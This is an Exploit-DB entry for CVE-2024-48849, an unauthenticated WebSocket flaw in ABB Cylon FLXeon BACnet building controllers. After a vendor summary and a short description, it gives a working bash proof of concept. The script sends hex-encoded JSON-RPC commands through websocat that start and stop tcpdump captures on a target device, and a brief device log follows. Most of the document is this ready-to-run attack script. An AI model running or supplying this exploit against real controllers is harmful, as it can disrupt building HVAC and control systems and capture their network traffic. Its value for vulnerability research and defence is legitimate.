Exploit-DB #52184
Description: ABB Cylon FLXeon 9.3.4 - WebSocket Command Spawning
Type: hardware
Platform: multiple
Date: 2025-04-11
Author: LiquidWorm

Exploit:
# ABB Cylon FLXeon 9.3.4 (wsConnect.js) WebSocket Command Spawning PoC
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb                   
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.4
# Advisory ID: ZSL-2025-5913
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5913.php
# CVE ID: CVE-2024-48849
# CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48849

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to an unauthenticated
WebSocket implementation that allows an attacker to execute the tcpdump command.
This command captures network traffic and filters it on serial ports 4855 and 4851,
which are relevant to the device's services. The vulnerability can be exploited in
a loop to start multiple instances of tcpdump, leading to resource exhaustion, denial
of service (DoS) conditions, and potential data exfiltration. The lack of authentication
on the WebSocket interface allows unauthorized users to continuously spawn new tcpdump
processes, amplifying the attack's impact.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


21.04.2024

EOC

cat << "EOF"

                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░

EOF
echo -ne "\n-------------------------------------------------------"
echo -ne "\nABB Cylon BACnet Building Controllers WebSocket Exploit"
echo -ne "\n-------------------------------------------------------\n"
if [ "$#" -ne 1 ]; then
	echo -ne "\nUsage: $0 [ipaddr]\n\n"
	exit
fi
IP=$1
TARGET="wss://$IP:443/ws"
PID=$!
echo "$PID"

STOP_SERVICE=`echo -e \
"\x7B\x22\x74\x61\x72\x67\x65\x74\x22\x3A\x22\x74\x63"\
"\x70\x64\x75\x6D\x70\x22\x2C\x22\x6D\x65\x74\x68\x6F"\
"\x64\x22\x3A\x22\x73\x74\x6F\x70\x22\x2C\x22\x70\x61"\
"\x72\x61\x6D\x73\x22\x3A\x7B\x22\x74\x79\x70\x65\x22"\
"\x3A\x22\x73\x6D\x61\x72\x74\x52\x6F\x75\x74\x65\x72"\
"\x22\x2C\x22\x6D\x69\x6E\x75\x74\x65\x73\x22\x3A\x31"\
"\x2C\x22\x73\x69\x7A\x65\x4B\x62\x22\x3A\x31\x30\x7D"\
"\x7D"`               #stop tcpdump smartRouter capture

START_SERVICE=`echo -e \
"\x7B\x22\x74\x61\x72\x67\x65\x74\x22\x3A\x22\x74\x63"\
"\x70\x64\x75\x6D\x70\x22\x2C\x22\x6D\x65\x74\x68\x6F"\
"\x64\x22\x3A\x22\x73\x74\x61\x72\x74\x22\x2C\x22\x70"\
"\x61\x72\x61\x6D\x73\x22\x3A\x7B\x22\x74\x79\x70\x65"\
"\x22\x3A\x22\x73\x6D\x61\x72\x74\x52\x6F\x75\x74\x65"\
"\x72\x22\x2C\x22\x6D\x69\x6E\x75\x74\x65\x73\x22\x3A"\
"\x31\x2C\x22\x73\x69\x7A\x65\x4B\x62\x22\x3A\x31\x30"\
"\x7D\x7D"`          #start tcpdump smartRouter capture

echo -e "\n[+] Sending JSONRPC => $START_SERVICE\n"
sleep 1
echo "$START_SERVICE"|
websocat --insecure --one-message --buffer-size 251 --no-close "$TARGET" -v
sleep 2
echo -e "\n[+] Sending JSONRPC => $STOP_SERVICE\n"
sleep 1
echo "$STOP_SERVICE"|
websocat -k -1 -B 251 -n "$TARGET" -v
echo -e "\n[*] Done"

<< "LOG"
$ cd /usr/local/aam/var; journalctl -r --no-hostname --no-pager >log.txt; split -n 4 log.txt
$ cat /usr/local/aam/var/xaa
$ cat /usr/local/aam/var/xab
$ cat /usr/local/aam/var/xac
$ cat /usr/local/aam/var/xad
...
#Apr 21 23:12:51 kernel: device lo left promiscuous mode
#Apr 21 23:12:34 kernel: device lo entered promiscuous mode
#Apr 21 23:12:34 node[196]: ws connect
...
LOG